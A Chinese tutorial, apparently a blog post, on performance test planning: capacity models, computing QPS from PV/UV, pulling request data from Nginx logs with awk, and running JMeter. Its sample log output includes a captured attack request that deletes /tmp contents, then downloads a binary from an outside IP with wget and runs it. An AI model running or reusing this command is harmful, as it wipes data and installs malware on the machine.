公众号搜索：TestingStudio 霍格沃兹测试开发的干货都很硬核

1. 测试步骤及模型分析

1.1 测试步骤总览

• 需求分析与测试设计（性能需求目标+业务模型拆解）
• 测试数据准备和构造(基于模型的数据准备)
• 性能指标预期(性能需求目标)
• 发压工具配置及脚本编写（压力策略）
• 测试过程（预计的前置准备过程和压测时间点规划）
• 结果分析与测试报告

1.2 测试模型分析

如下的测试模型来简单的说明测试中需要关注的点和测试的目的

字段说明

1、横轴 : 代表并发数，也就对应着Jmeter里面的线程数

2、Utizilation(U) :资源利用率

3、Throughput(X): 吞吐量，对应QPS或TPS

4、ResponseTime ：响应时间

拐点分析：

第一条虚线处的拐点代表着随着并发数的增加，资源利用率(CPU资源等)和吞吐量也在伴随着递增， 这个时候我们的响应时间有小幅度的增加，但是在可接受的范围之内；在这个点是做容量规划最好的参考点

第二条虚线处的拐点表示随着并发数的继续增加，系统资源已经到达了瓶颈，吞吐量开始明显下降，响应时间会大幅增加，也就是说已经到达了性能的瓶颈，请求队列开始挤压，这个时候已经严重影响用户体验或者有系统崩溃的风险。

2. 步骤分析

2.1 需求分析与测试设计

此处从性能需求目标与业务模型拆解两方面着手，

1、目标场景分类：

• 新上线系统性能测试：要求容量测试，系统最大容量
• 系统升级类性能测试：和基线版本对比，性能不下降
• 新系统性能优化测试：伴随调优目标的性能测试

注：在后面的演示中，会以新系统上线的容量测试为例，目标为获取系统最大容量

字段说明：
基准测试：见下图，我的理解就是性能测试，找到最优的QPS(TPS)点

容量测试：见下图，我的理解为压力测试，在达到性能瓶颈后继续加压，测试系统的最大承载量

新系统想要确定测试基准，就需要拿到数据，而产品一般是不会直接告诉我们QPS的，产品会告诉我们 PV/UV 天。

根据 PV、UV 再结合业务场景来计算确认我们的测试需求；将其转化为小时或分钟，或秒；另外业务场景可能会几种在某个时间段，比如工作日的8个小时时间：

UV：或者外卖产品则集中在午饭和晚饭的2个小时时间段，假如UV为1000w/天，那么高峰时段占了总用户数的80%：

1000w * 80% / (4*3600) = 每秒的并发用户数

PV：PV可以直接对应到QPS指标，好比一个电商产品，产品分别给出了首页、商品页、订单页的PV，便可依此来进行性能测试的基准设计。如果粗略的按24小时算QPS的话就是QPS = PV(天)/24/3600

2、根据具体的性能测试需求，确定测试类型以及压测的模块(web/mysql/redis/系统整体)

3、前期要与相关人员充分沟通，初步确定压测方案及具体性能指标

4、QA完成性能测试设计后，需产出测试方案文档发送邮件到项目组，并且再次与相关人员沟通(或者组织性能测试评审)，确认是否满足需求

2.2、测试数据准备和构造

数据的准备可以如下几点：

1、接口请求参数：自己构造、日志获取、上下关联

• 自己构造：自己抓包等，这个有个问题就是后端可能有缓存而造成对实际压力程度的影响
• 日志获取：推荐常用，通过日志或数据库获取大批量的数据然后打散

例如，我们的请求是通过Nginx转发的，那么可以通过Nginx的日志来获取请求数据,现有如下的log：

现在我们可以利用Linux三剑客中的awk命令配合上排序的shell命令对log进行提取过滤,找出访问量最高的请求：

$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15
4709 /sso/register
4703 /sso/login
157 400
139 /
  8 http://www.baidu.com/cache/global/img/gs.gif
  5 /index.php
  4 mstshash=Administr"
  4 /license.txt
  4 ip.ws.126.net:443
  4 "
  2 /sso/getAuthCode?telephone=17138134641
  2 /sso/getAuthCode?telephone=17127460936
  2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
  2 /robots.txt
  2 /phpmyadmin/
复制代码

• 上下关联：

有些数据我们是无法提前获取的，好比用户的订单数据和购物车数据，这些需要用户下单后生成，因此就需要在下单接口后通过上下关联的接口返回值来获取
2、数据表的数据填充：可以利用jmeter的高并发通过接口来提前创建数据
3、如果是多接口，则需要结合业务场景设计请求比例：比如用户浏览主页的PV和浏览商户的比例为1：2，那么接口的比例设计也就按照1：2来设计。

2.3、性能指标预期

• 1.每秒请求数（QPS）
• 2.请求响应时间（最大，最小，平均值）
• 3.错误率
• 4.机器性能：cpu idel30%,memory无剧烈抖动或飙升
• 5.压测过程接口功能是否正常
• 6.不同性能测试方式下指标预期是否有差异

2.4、发压工具配置及脚本编写

1.发压工具准备-jmeter简介
(1) 集成包，解压即可使用，Windowns, Linux, Mac通用（依赖Java环境）
(2) jmx文件为xml文件，Win，Linux环境均可运行
(3) 多线程并发
(4) 运行完脚本会生成jtl日志，可在Win、Mac环境界面中查看、统计

使用jmeter可以做到：

• 压测场景：单接口/复杂事物——>场景构造
• 压力需求：<1000QPS 或者万级以上的使用Jmeter分布式支持的方式
• 是否周期性：Jmeter jmx场景文件，数据驱动，结果落库
• 二次开发需求：Jmeter开源插件化思想，支持Thrift
• 协议支持：Dubbo等多种协议，可以快速平台化
• 问题支持：开放社区，广泛使用

2.脚本编写

(1) HTTP

(2) 其他

3.命令启动，Jmeter 本身也是软件，也有自己的承载限制，所以真正测试过程还是要以命令行运行的方式，UI 可以作为编写和调试脚本使用

启压：./jmeter -n -t hb.jmx-l hb.jtl

2.5 测试过程

• 1、测试前环境检查：记录机器参数
• 2、起压：根据被压情况，调节并发量到合适情况
• 3、查看记录各项性能指标
• nginx日志查看每秒请求数 查看nginx错误请求 查看机器参数：cpu idel、mem等 查看db、cache等数据是否写入正常 访问接口，查看功能是否正常

2.6 结果分析与测试报告

1、根据测试过程中记录的各项参数，结合压测工具产生的日志，对测试结果进行分析，并产出测试报告

2、测试完成后，及时与相关人员沟通，确认是都满足需求

3、发送测试报告邮件

以上只是做了个性能测试的基础知识铺垫，后续在此理论基础上，以电商业务为背景，结合 Docker+Jmeter+Influx+Grafana 完成一个实例压测与监控~